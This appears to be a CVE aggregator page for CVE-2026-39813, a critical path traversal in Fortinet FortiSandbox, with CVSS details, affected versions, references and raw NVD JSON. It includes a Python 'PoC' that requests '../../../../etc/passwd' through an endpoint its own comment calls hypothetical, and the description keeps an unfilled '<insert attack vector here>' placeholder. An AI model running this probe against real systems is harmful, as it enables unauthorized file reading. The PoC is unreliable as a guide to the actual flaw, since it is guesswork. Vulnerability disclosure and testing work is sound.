CVE-2026-39813

Description

A path traversal: '../filedir' vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8 may allow attacker to escalation of privilege via <insert attack vector here>

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE

Fortinet FortiSandbox 4.4.0 - 4.4.8

Fortinet FortiSandbox 5.0.0 - 5.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

def exploit(target):
    """
    PoC for CVE-2026-39813 Path Traversal in Fortinet FortiSandbox
    """
    # Vulnerable endpoint parameter (hypothetical based on description)
    traversal_payload = "../../../../etc/passwd"
    url = f"{target}/api/download?file={traversal_payload}"
    
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200 and "root:" in response.text:
            print("[+] Vulnerability confirmed! Sensitive file accessed.")
            return True
        else:
            print("[-] Target not vulnerable or payload failed.")
            return False
    except Exception as e:
        print(f"[!] Error occurred: {e}")
        return False

if __name__ == "__main__":
    target_ip = input("Enter Target URL (e.g., http://192.168.1.1): ")
    exploit(target_ip)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39813
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39813
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39813/
[4] VulDB https://vuldb.com/cve/CVE-2026-39813
[5] https://fortiguard.fortinet.com/psirt/FG-IR-26-112

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39813", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:45.680", "lastModified": "2026-04-20T19:11:30.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal: '../filedir' vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8 may allow attacker to escalation of privilege via <insert attack vector here>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-24"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.9", "matchCriteriaId": "0025C9C0-8D61-4563-96F9-F4E09DD83B26"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.6", "matchCriteriaId": "3AAEF316-2134-4398-911C-E7532CD3AFF2"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-112", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}